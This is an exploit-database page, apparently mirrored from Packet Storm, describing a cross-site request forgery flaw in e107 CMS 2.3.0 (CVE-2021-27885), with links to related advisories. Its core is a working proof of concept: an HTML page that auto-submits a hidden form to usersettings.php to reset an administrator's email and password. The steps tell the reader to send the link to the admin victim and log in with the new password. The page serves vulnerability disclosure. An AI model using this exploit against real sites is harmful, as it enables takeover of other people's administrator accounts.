e107 CMS 2.3.0 Cross Site Request Forgery

🗓️ 04 Mar 2021 00:00:00Reported by TadjmenType

packetstorm🔗 packetstormsecurity.com👁 383 Views

e107 CMS 2.3.0 Cross Site Request Forgery CVE-2021-2788

Reporter	Title	Published	Views	Family All 12
0day.today	e107 CMS 2.3.0 Cross Site Request Forgery Vulnerability	4 Mar 202100:00	–	zdt
Circl	CVE-2021-27885	2 Mar 202122:44	–	circl
CNNVD	e107 跨站请求伪造漏洞	2 Mar 202100:00	–	cnnvd
CVE	CVE-2021-27885	2 Mar 202118:15	–	cve
Cvelist	CVE-2021-27885	2 Mar 202118:15	–	cvelist
Exploit DB	e107 CMS 2.3.0 - CSRF	4 Mar 202100:00	–	exploitdb
EUVD	EUVD-2021-14622	7 Oct 202500:30	–	euvd
NVD	CVE-2021-27885	2 Mar 202119:15	–	nvd
OpenVAS	e107 < 2.3.1 Multiple Vulnerabilities	3 Mar 202100:00	–	openvas
Prion	Design/Logic Flaw	2 Mar 202119:15	–	prion

`# Exploit Title: e107 CMS 2.3.0 - CSRF  
# Date: 04/03/2021  
# Exploit Author: Tadjmen  
# Vendor Homepage: https://e107.org  
# Software Link: https://e107.org/download  
# Version: 2.3.0  
# Tested on: Windows 10  
# CVE : CVE-2021-27885  
  
CSRF vulnerability on e107 CMS  
  
## Bug Description  
Hi. I found a CSRF on the e107 CMS. Hacker can change password any user click the link.  
  
## How to Reproduce  
Steps to reproduce the behavior:  
1. Create a CSRF login POC using the following code.  
  
```  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">  
  
<html>  
<head>  
<title>Cross Site Request Forgery (Edit Existing Admin details)</title>  
</head>  
  
<body onload="javascript:fireForms()">  
<script language="JavaScript">  
  
function fireForms()  
{  
var count = 2;  
var i=0;  
  
for(i=0; i<count; i++)  
{  
document.forms[i].submit();  
}  
}  
  
</script>  
  
<H2>Cross Site Request Forgery (Edit Existing Admin details)</H2>  
  
<form method="POST" name="form0" action="  
http://localhost/[path-to-e107-cms]/usersettings.php">  
  
<input type="hidden" name="loginname" value="admin"/>  
<input type="hidden" name="email" value="[email]"/>  
<input type="hidden" name="password1" value="[password]"/>  
<input type="hidden" name="password2" value="[password]"/>  
<input type="hidden" name="hideemail" value="1"/>  
<input type="hidden" name="image" value=""/>  
<input type="hidden" name="signature" value=""/>  
<input type="hidden" name="updatesettings" value="Save settings"/>  
<input type="hidden" name="_uid" value="2"/>  
  
  
  
  
</form>  
  
</body>  
</html>  
```  
  
  
2. Replace the email and password with the valid credentials.  
3. Send the link script to the victim (admin) to make them click.  
4. Login with new admin password  
`

04 Mar 2021 00:00Current

0.5Low risk

Vulners AI Score0.5

EPSS0.00184